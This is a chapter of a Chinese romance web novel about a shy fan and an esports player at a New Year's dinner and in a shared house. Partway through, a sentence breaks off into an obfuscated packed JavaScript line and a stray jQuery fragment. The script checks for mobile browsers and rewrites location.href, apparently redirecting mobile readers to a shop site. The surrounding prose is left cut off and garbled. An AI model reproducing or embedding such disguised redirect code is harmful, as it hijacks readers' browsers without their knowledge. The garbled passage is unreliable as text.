32. 第 32 章

作品:《成为她的猫

    “虽然后天才是除夕,但我在这,还是提前祝大家,新年快乐!”Unreal朝桌上的各位举起杯子。


    他是这群人里年纪最大的,所以理所当然的,菜上齐人坐到桌边后,慷慨地发表了一番餐前演讲。


    “新年快乐!”众人举起杯子,碰杯。


    “祝大家明年工作都顺利啊,打比赛的拿冠军,上班的遇到好领导,直播的多收几发火箭。”坐下前,Unreal最后总结一句。


    虽然这帮人做饭的时候吵个没完,做出来倒还蛮像模像样的,十来道菜摆满了桌子。主菜有焖牛腩,清蒸鲈鱼,红烧肉圆,蒜蓉生蚝,其他菜有炸虾球,清炒芦笋,白灼虾,为了照顾崔珉泰这个外国人,甚至还准备了一道大酱汤和三文鱼刺身。


    桌子大,但没有装转盘,摆得远的菜压根够不着。


    Unreal性格豪爽,作风比贺执还像东家:“菜太多了,大家要是有够不着的直接站起来啊,别客气。”


    苏笛握着筷子坐在桌边,她去别人家做客的经历少,难免拘谨。


    几个女孩子坐一块,希云招呼苏笛:“苏苏来,吃菜。”


    苏笛点头,意思意思地夹了块面前的蒸鲈鱼。


    鲈鱼肉质细滑,味道鲜美,客观评价,食材和烹饪都很好。


    希云尝了一口鲈鱼,然后转头“味道不错。”


    苏笛点头应和,实则目光一直在往远处的炸虾球瞟。


    虾球看着就金黄酥脆,看着就……很好吃。


    贺执坐在苏笛斜对面。


    身边Milk一直在找他说话,Milk喝了点酒,上头,嚷嚷着跟他分析起下版本的改动。


    虽然人醉了,脑子还是好使,分析得居然还有点道理。


    贺执在游戏里是指挥,早习惯了眼观六路耳听八方,他一边听,眼睛一边垂着往右手边瞄。


    苏笛微微站起身,筷子缓缓朝着那盘虾球伸过去。


    贺执没忍住扯了扯唇角。


    他发现苏笛这人就是个闷葫芦,变成猫在她家这么多天,苏笛对着猫的时候又这么话痨,却也没见她亲口说过自己喜欢吃什么。


    不过他还是有些心得的,比如那天苏笛为了她母亲的到来准备食材的时候,贺执看到大理石台面上,摆着整整两大袋速冻炸虾球。


    苏笛筷尖马上要碰到炸虾球的时候——


    “我去,刘青青你怎么还爱吃炸虾球啊。”Milk忽然惊呼一声。


    青青站起身,投来无语的目光:“我爱吃虾球怎么你了?”


    青青:“而且我可听照哥说了,这可是我们贺哥千里迢迢带过来的虾做的,我高低得尝尝。”


    Milk:“这不都是出去吃席的小孩菜吗,我妹小时候出去吃饭,我妈就给她叨一碗虾球让她一边玩去。”


    青青不理他,自顾自地继续吃:“我就是小孩口味怎么着吧,你管我。”


    贺执闻言蹙了蹙眉。


    果不其然,等他再扭头去看,那双不动声色伸出来的筷子,已经悄咪咪又收了回去。


    贺执:“……”


    第一次有了封上这个多嘴的解说鼻子下面下巴上面那张东西的冲动。


    不好意思再吃炸虾球,其他菜对苏笛来说都差不多。于是之后的一段时间,她都基本只碰面前的那几道菜。


    忽然门铃响了。


    Unreal抬头:“是我们刚才点的饮料吧,谁去门口拿一下。”


    苏笛四周看了看,自己坐得离门最近,于是自告奋勇:“我去吧。”


    Unreal有点不放心:“我怕有点重,Milk你跟着一起去吧。”


    五分钟后,苏笛和Milk带着饮料回来,随手放在了餐桌旁的地上。


    苏笛回到自己位置坐下的时候,不由得愣了愣。


    只见那个本来摆得老远的炸虾球,此刻不偏不倚地,就在她的面前。


    苏笛眨眨眼。


    这是……怎么回事?


    “刚才贺执说……”希云不知怎么好像看出了苏笛的心思,她笑了笑,“说他们那边没人吃,干脆换过来了。”她指了指那盘炸虾球。


    “哦……”


    苏笛夹来一只,轻轻咬下。


    酥脆的外壳裂开时发出咔嚓的响声,里面的虾肉劲道鲜香,如她所想,果然很香。


    等贺执再扭头看去的时候,苏笛闭着嘴细嚼慢咽,腮帮子一鼓一鼓,不动声色地吃掉了小半盘。


    贺执提着嘴角回头,终于专心听起了Milk瞎侃。


    -


    饭桌上大家东拉西扯的聊了很多,一边聊一边吃,苏笛感觉和希云她们的关系都近了很多。


    这一顿饭下来已经快九点半了。


    吃完,大家一起收拾餐桌和厨房。


    窗户外面已经彻底黑了,屋内亮着暖黄色的灯光。


    苏笛擦完桌子抬头的时候,恍然有种她和大家就是多年朋友的错觉。


    原本这时间对于这些擅长熬夜,但中午大家都有点累了,干脆分成两拨打了会儿游戏,就准备睡觉休息了。


    苏笛上楼的时候,手机屏幕上是家里的监控画面。


    猫比狗能独立生活,就她出门的这两天时间,给点点留好了足够的水和食物,理论上是没有任何问题的。


    但保险起见,苏笛还是会偶尔看看监控。


    苏笛在自己房间门口停下。


    手机上没看到猫的身影,苏笛手指在屏幕上划了划,控制监控转向。


    终于在茶几底下看到了橘猫。


    橘猫本来已经睡了,似乎是听见监控的声音,眼睛睁开,眼珠在黑白色的画面里像个大电灯泡一样亮了起来。


    看到这一幕,苏笛没忍住轻笑出声——


    “看什么呢?”身后忽然飘来一句。


    苏笛惊了一下转身,手机都险些没拿稳,视线跟着贺执从身后转到面前。


    贺执见苏笛懵着,眼睛淡淡地点了点手机:“看什么呢。”


    “我家猫。”苏笛脱口而出。


    贺执点点头:“他一只猫在家没关系吗?”


    “没事,他很乖的。”苏笛道。


    走廊上只有他们两个人,一片安静。


    苏笛鼓起勇气又问:“Venom选手有什么事吗?”


    她的房间几乎已经是在走廊尽头,只有右手边有最后一间房,一般人都不会经过这里。


    贺执轻轻摇头:“没什么事。”


    “哦。”苏笛应道,她忽然又想起上楼前听见Unreal他们玩双人游戏玩得急眼,“我看照哥他们刚才好像在找……”


    “我房间在这。”贺执闲闲道,随意地指了指。


    她顺着贺执的手看去,看到了和自己的卧室门紧紧挨着的那道门。


    苏笛:“……”


    ……啊?


    那岂不是意味着,他们两的卧室只有一墙之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249931|195030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    隔?


    这对她一个刚刚能和偶像正常说上话的粉丝来说会不会有点太超过了?


    两秒后,苏笛打开自己的卧室门,僵硬地说了句:“好的,那……Venom选手晚安。”


    贺执看了看她扶在门把上的手,点头:“晚安。”


    花洒的水淋在身上的时候,苏笛总算说服自己接受了今晚贺执就睡在和她一墙之隔的


    她摸着自己逐渐平复的心跳,觉得自己实在是太小题大做了。


    到底还是两个房间。


    究竟有什么好不自在的?


    苏笛一边往身上擦沐浴露,一边反思自己是不是每次见到贺执就忍不住多想的这个毛病是不是要改。


    但思考了五分钟,苏笛认命了,没招,她就是看见人就紧张。


    想着想着,她抬起手嗅了嗅手上沐浴露的味道。


    这沐浴露是放在浴室里的,装在塑料罐里,看不出是什么牌子。


    还怪好闻的。


    洗完澡,穿好睡衣,苏笛皱着眉,在浴室里翻箱倒柜起来。


    ——她找不到吹风机。


    她摸了摸自己湿漉漉的头发,她头发长,睡前自然风干的话肯定干不了。


    苏笛有些苦恼,该问谁呢?


    她目光不自觉飘向走廊尽头的那道房门。


    两秒后,她掏出手机。


    【苏笛】:希云姐,请问你知道吹风机在哪吗?


    等了快十分钟,希云也没回消息。


    苏笛默默走到贺执的卧室门前。


    她手悬在半空,心口发紧,咽了咽口水,刚准备敲门。


    手机响了。


    【希云】:啊啊啊啊不好意思刚才游戏一直死,没来得及看手机。


    【希云】:啊啊啊抱歉我也不知道,要不你直接问贺执吧^^


    “……”行,就这样一波三折。


    苏笛认命地敲了敲门。


    贺执握着手机,上面是Unreal跟他大发苦水“大哥劳驾您下楼救救我你再不来我真的要被这群人坑死了”。


    听见敲门声那一瞬间,他一把拉开门:“说了我不玩……”


    看清门外人的那一刻,贺执眼皮猛地一跳。


    门外,苏笛穿着那件在家里常穿的睡衣,圆睁着眼睛,手还保持着敲门的姿势。


    其实那件睡衣比较保守,丝绸质地的,领口也很高。只是女孩现在头发湿着,凌乱地沾在脸颊边,配上她因为过分快的开门速度有些惊讶的眼睛,以及湿漉漉的脸庞,让她整个人都有了点柔软,破碎的气质。


    贺执深吸了口气,想扔掉脑子里那些乱七八糟的想法。


    可他吸气的时候,却闻到一股淡淡的,沐浴露的皂香。


    贺执几乎是一瞬间反应过来——那是他的沐浴露。


    但那股香味被女孩的体温捂热,轻轻柔柔拂到他面上,和他平常熟悉的味道又有些细微的不同。


    像有道钩子。


    贺执攥紧了门边,喉结不自觉滚了滚,连带着声音都发哑:“……有事吗?”


    “我想请问下,吹风机在哪。”


    苏笛跟在贺执后面,最后在一个杂物间找到了。


    苏笛从架子上拿来吹风机,张了张嘴,转头刚想对贺执说“谢谢”。


    贺执已经背过了身,一言不发地闷头回了房间。


    苏笛望着他的背影,有点茫然。


    这是……怎么了?